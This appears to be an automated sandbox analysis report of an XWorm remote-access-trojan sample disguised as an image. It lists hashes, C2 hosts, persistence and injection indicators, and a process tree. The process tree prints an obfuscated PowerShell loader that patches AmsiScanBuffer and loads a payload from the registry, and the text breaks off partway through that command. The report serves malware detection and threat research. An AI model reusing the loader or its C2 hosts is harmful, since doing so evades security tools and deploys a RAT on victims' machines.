xworm | 710973dd8cbda36be8352649d6f4c15d875d9625b0baba345b3e86b474a14334

General

Target

Ramo 🖤.jpg
Size

34KB
MD5

59e95ec6dc0c50b45eff4a9cf57ffa8e
SHA1

89f6a194e03c9aa1f9278e1dffe00894bc67f2a1
SHA256

710973dd8cbda36be8352649d6f4c15d875d9625b0baba345b3e86b474a14334
SHA512

893863cca3b0af68471c458feefda241e304a5da1c3cd3d8631b56a3270637069a30596f44028a189d7024468709ea1c33f5f4a3afd0bfb856d9f2832e126bd8
SSDEEP

768:XipyWd0XqCEzaK7bIL9r9LrKmSTc44WcnVLTcDqiGAxuv1UhMPPx9p:uyM06CEzaSS59944Wcn54aJ9yMXJ

Score

10^/10

xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

news-accept.gl.at.ply.gg:24727

wiz.bounceme.net:6000

Mutex

ew0h9RSfAfyU3YO4

Attributes

Install_directory
%AppData%
install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\x4s.exe	family_xworm
behavioral2/memory/1284-62-0x0000000000230000-0x000000000023E000-memory.dmp	family_xworm
behavioral2/memory/1284-765-0x0000000000A30000-0x0000000000A3E000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4704 created 584 4704 powershell.EXE winlogon.exe
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

7 4616 powershell.exe
8 4616 powershell.exe
10 4616 powershell.exe
12 4616 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

svchost32.exex4s.exex4Shellcode.exe

pid process

4528 svchost32.exe
1284 x4s.exe
632 x4Shellcode.exe

description	pid	process	target process
PID 4704 created 584	4704	powershell.EXE	winlogon.exe

flow	pid	process
7	4616	powershell.exe
8	4616	powershell.exe
10	4616	powershell.exe
12	4616	powershell.exe

pid	process
4528	svchost32.exe
1284	x4s.exe
632	x4Shellcode.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

x4s.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Run\x4s = "C:\\Users\\Admin\\AppData\\Roaming\\x4s.exe"	x4s.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

11 raw.githubusercontent.com
12 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

16 ip-api.com

flow	ioc
11	raw.githubusercontent.com
12	raw.githubusercontent.com

flow	ioc
16	ip-api.com

Drops file in System32 directory 3 IoCs

Processes:

powershell.EXEsvchost.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4704 set thread context of 1392 4704 powershell.EXE dllhost.exe

description	pid	process	target process
PID 4704 set thread context of 1392	4704	powershell.EXE	dllhost.exe

Drops file in Windows directory 3 IoCs

Processes:

powershell.exetaskmgr.exe

description	ioc	process
File created	C:\Windows\svchost32.exe	powershell.exe
File created	C:\Windows\rescache\_merged\4183903823\2290032291.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\1601268389\715946058.pri	taskmgr.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

wmiprvse.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 42 IoCs

Processes:

powershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.EXEdllhost.exewmiprvse.exe

pid	process
4616	powershell.exe
4616	powershell.exe
4616	powershell.exe
4704	powershell.EXE
4704	powershell.EXE
4704	powershell.EXE
4704	powershell.EXE
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
4076	wmiprvse.exe
4076	wmiprvse.exe
4076	wmiprvse.exe
4076	wmiprvse.exe
4076	wmiprvse.exe
4076	wmiprvse.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe
1392	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

AUDIODG.EXEpowershell.exesvchost32.exex4s.exepowershell.EXEdllhost.exesvchost.exesvchost.exewmiprvse.exesvchost.exe

description	pid	process
Token: 33	1280	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1280	AUDIODG.EXE
Token: SeDebugPrivilege	4616	powershell.exe
Token: SeDebugPrivilege	4528	svchost32.exe
Token: SeDebugPrivilege	1284	x4s.exe
Token: SeDebugPrivilege	4704	powershell.EXE
Token: SeDebugPrivilege	4704	powershell.EXE
Token: SeDebugPrivilege	1392	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2640	svchost.exe
Token: SeIncreaseQuotaPrivilege	2640	svchost.exe
Token: SeSecurityPrivilege	2640	svchost.exe
Token: SeTakeOwnershipPrivilege	2640	svchost.exe
Token: SeLoadDriverPrivilege	2640	svchost.exe
Token: SeSystemtimePrivilege	2640	svchost.exe
Token: SeBackupPrivilege	2640	svchost.exe
Token: SeRestorePrivilege	2640	svchost.exe
Token: SeShutdownPrivilege	2640	svchost.exe
Token: SeSystemEnvironmentPrivilege	2640	svchost.exe
Token: SeUndockPrivilege	2640	svchost.exe
Token: SeManageVolumePrivilege	2640	svchost.exe
Token: SeAuditPrivilege	2472	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2640	svchost.exe
Token: SeIncreaseQuotaPrivilege	2640	svchost.exe
Token: SeSecurityPrivilege	2640	svchost.exe
Token: SeTakeOwnershipPrivilege	2640	svchost.exe
Token: SeLoadDriverPrivilege	2640	svchost.exe
Token: SeSystemtimePrivilege	2640	svchost.exe
Token: SeBackupPrivilege	2640	svchost.exe
Token: SeRestorePrivilege	2640	svchost.exe
Token: SeShutdownPrivilege	2640	svchost.exe
Token: SeSystemEnvironmentPrivilege	2640	svchost.exe
Token: SeUndockPrivilege	2640	svchost.exe
Token: SeManageVolumePrivilege	2640	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2640	svchost.exe
Token: SeIncreaseQuotaPrivilege	2640	svchost.exe
Token: SeSecurityPrivilege	2640	svchost.exe
Token: SeTakeOwnershipPrivilege	2640	svchost.exe
Token: SeLoadDriverPrivilege	2640	svchost.exe
Token: SeSystemtimePrivilege	2640	svchost.exe
Token: SeBackupPrivilege	2640	svchost.exe
Token: SeRestorePrivilege	2640	svchost.exe
Token: SeShutdownPrivilege	2640	svchost.exe
Token: SeSystemEnvironmentPrivilege	2640	svchost.exe
Token: SeUndockPrivilege	2640	svchost.exe
Token: SeManageVolumePrivilege	2640	svchost.exe
Token: SeDebugPrivilege	4076	wmiprvse.exe
Token: SeAuditPrivilege	2092	svchost.exe
Token: SeAuditPrivilege	2472	svchost.exe
Token: SeAuditPrivilege	2472	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2640	svchost.exe
Token: SeIncreaseQuotaPrivilege	2640	svchost.exe
Token: SeSecurityPrivilege	2640	svchost.exe
Token: SeTakeOwnershipPrivilege	2640	svchost.exe
Token: SeLoadDriverPrivilege	2640	svchost.exe
Token: SeSystemtimePrivilege	2640	svchost.exe
Token: SeBackupPrivilege	2640	svchost.exe
Token: SeRestorePrivilege	2640	svchost.exe
Token: SeShutdownPrivilege	2640	svchost.exe
Token: SeSystemEnvironmentPrivilege	2640	svchost.exe
Token: SeUndockPrivilege	2640	svchost.exe
Token: SeManageVolumePrivilege	2640	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2640	svchost.exe
Token: SeIncreaseQuotaPrivilege	2640	svchost.exe
Token: SeSecurityPrivilege	2640	svchost.exe

Suspicious use of FindShellTrayWindow 23 IoCs

Processes:

dwm.exetaskmgr.exeExplorer.EXE

pid	process
1008	dwm.exe
1008	dwm.exe
1008	dwm.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
3160	Explorer.EXE
3160	Explorer.EXE
560	taskmgr.exe
560	taskmgr.exe
1008	dwm.exe
560	taskmgr.exe
560	taskmgr.exe

Suspicious use of SendNotifyMessage 19 IoCs

Processes:

taskmgr.exeExplorer.EXE

pid	process
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
3160	Explorer.EXE
3160	Explorer.EXE
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe
560	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exesvchost32.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 3896 wrote to memory of 4616	3896	cmd.exe	powershell.exe
PID 3896 wrote to memory of 4616	3896	cmd.exe	powershell.exe
PID 4616 wrote to memory of 4528	4616	powershell.exe	svchost32.exe
PID 4616 wrote to memory of 4528	4616	powershell.exe	svchost32.exe
PID 4528 wrote to memory of 1284	4528	svchost32.exe	x4s.exe
PID 4528 wrote to memory of 1284	4528	svchost32.exe	x4s.exe
PID 4528 wrote to memory of 632	4528	svchost32.exe	x4Shellcode.exe
PID 4528 wrote to memory of 632	4528	svchost32.exe	x4Shellcode.exe
PID 4528 wrote to memory of 632	4528	svchost32.exe	x4Shellcode.exe
PID 4704 wrote to memory of 1392	4704	powershell.EXE	dllhost.exe
PID 4704 wrote to memory of 1392	4704	powershell.EXE	dllhost.exe
PID 4704 wrote to memory of 1392	4704	powershell.EXE	dllhost.exe
PID 4704 wrote to memory of 1392	4704	powershell.EXE	dllhost.exe
PID 4704 wrote to memory of 1392	4704	powershell.EXE	dllhost.exe
PID 4704 wrote to memory of 1392	4704	powershell.EXE	dllhost.exe
PID 4704 wrote to memory of 1392	4704	powershell.EXE	dllhost.exe
PID 4704 wrote to memory of 1392	4704	powershell.EXE	dllhost.exe
PID 1392 wrote to memory of 584	1392	dllhost.exe	winlogon.exe
PID 1392 wrote to memory of 636	1392	dllhost.exe	lsass.exe
PID 1392 wrote to memory of 736	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 904	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1008	1392	dllhost.exe	dwm.exe
PID 1392 wrote to memory of 1016	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 508	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 600	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 392	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1084	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1136	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1188	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1204	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1212	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1236	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1396	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1420	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1432	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1536	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1568	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1584	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1684	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1696	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1812	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1828	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1956	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 1968	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 2056	1392	dllhost.exe	spoolsv.exe
PID 1392 wrote to memory of 2092	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 2248	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 2416	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 2424	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 2436	1392	dllhost.exe	sihost.exe
PID 1392 wrote to memory of 2452	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 2472	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 2572	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 2616	1392	dllhost.exe	sysmon.exe
PID 1392 wrote to memory of 2632	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 2640	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 2700	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 2768	1392	dllhost.exe	taskhostw.exe
PID 1392 wrote to memory of 2828	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 3048	1392	dllhost.exe	svchost.exe
PID 1392 wrote to memory of 3160	1392	dllhost.exe	Explorer.EXE
PID 1392 wrote to memory of 3176	1392	dllhost.exe	unsecapp.exe
PID 1392 wrote to memory of 3820	1392	dllhost.exe	RuntimeBroker.exe
PID 1392 wrote to memory of 4080	1392	dllhost.exe	DllHost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:584

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
- Suspicious use of FindShellTrayWindow
PID:1008

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{f4abbf06-ac8c-4d1f-baee-1bc9501f736a}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1392

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:636

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:736

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:904

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:1016

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:508

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:600

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:392

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
PID:1084

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1136

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:khEvmJBtshVX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$oqdenpUqsFCKNm,[Parameter(Position=1)][Type]$XGpiBkYPPD)$oNsjiKuNkvL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+'l'+'e'+''+'c'+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+'g'+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+'m'+'o'+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+'d'+'u'+''+[Char](108)+'e',$False).DefineType('My'+[Char](68)+'e'+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+'T'+''+'y'+'pe',''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+'S'+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+',An'+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+','+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+''+'l'+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$oNsjiKuNkvL.DefineConstructor('R'+[Char](84)+'Sp'+'e'+''+[Char](99)+'i'+'a'+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+'g,P'+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$oqdenpUqsFCKNm).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'t'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+'a'+'ge'+'d'+'');$oNsjiKuNkvL.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+'i'+[Char](100)+'eB'+'y'+'S'+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+'l'+[Char](111)+'t'+[Char](44)+''+[Char](86)+'i'+'r'+''+'t'+'u'+'a'+''+[Char](108)+'',$XGpiBkYPPD,$oqdenpUqsFCKNm).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $oNsjiKuNkvL.CreateType();}$iRZqyXNIegaeS=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'yst'+[Char](101)+'m'+[Char](46)+'d'+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+'r'+''+'o'+''+[Char](115)+''+[Char](111)+'f'+'t'+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+'U'+[Char](110)+''+[Char](115)+''+'a'+''+'f'+'e'+'N'+'a'+[Char](116)+''+'i'+'v'+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$UwhsKRdzZLpraa=$iRZqyXNIegaeS.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](99)+'A'+'d'+''+[Char](100)+'r'+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags]('P'+[Char](117)+'bl'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'ta'+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BMYUlwceETOPJwTxNXQ=khEvmJBtshVX @([String])([IntPtr]);$YRIxwbdZdnFGFrGQyhiRkn=khEvmJBtshVX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$pEJTPQItssx=$iRZqyXNIegaeS.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'H'+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+''+'.'+''+'d'+'l'+'l'+'')));$ockUfoIsXxYlVw=$UwhsKRdzZLpraa.Invoke($Null,@([Object]$pEJTPQItssx,[Object](''+[Char](76)+''+'o'+'a'+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+''+'r'+''+'a'+'r'+[Char](121)+''+[Char](65)+'')));$qRrgKWEGuCrFClIBJ=$UwhsKRdzZLpraa.Invoke($Null,@([Object]$pEJTPQItssx,[Object]('V'+[Char](105)+''+'r'+'t'+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+'o'+[Char](116)+'e'+'c'+'t')));$CryTeZU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ockUfoIsXxYlVw,$BMYUlwceETOPJwTxNXQ).Invoke(''+[Char](97)+''+[Char](109)+'si'+[Char](46)+''+'d'+''+[Char](108)+'l');$mtGoZxPujBZxllrIJ=$UwhsKRdzZLpraa.Invoke($Null,@([Object]$CryTeZU,[Object]('Am'+'s'+''+'i'+''+'S'+''+[Char](99)+''+'a'+'nB'+[Char](117)+''+'f'+''+'f'+'er')));$RDxjFzgIor=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qRrgKWEGuCrFClIBJ,$YRIxwbdZdnFGFrGQyhiRkn).Invoke($mtGoZxPujBZxllrIJ,[uint32]8,4,[ref]$RDxjFzgIor);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$mtGoZxPujBZxllrIJ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qRrgKWEGuCrFClIBJ,$YRIxwbdZdnFGFrGQyhiRkn).Invoke($mtGoZxPujBZxllrIJ,[uint32]8,0x20,[ref]$RDxjFzgIor);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+[Char](8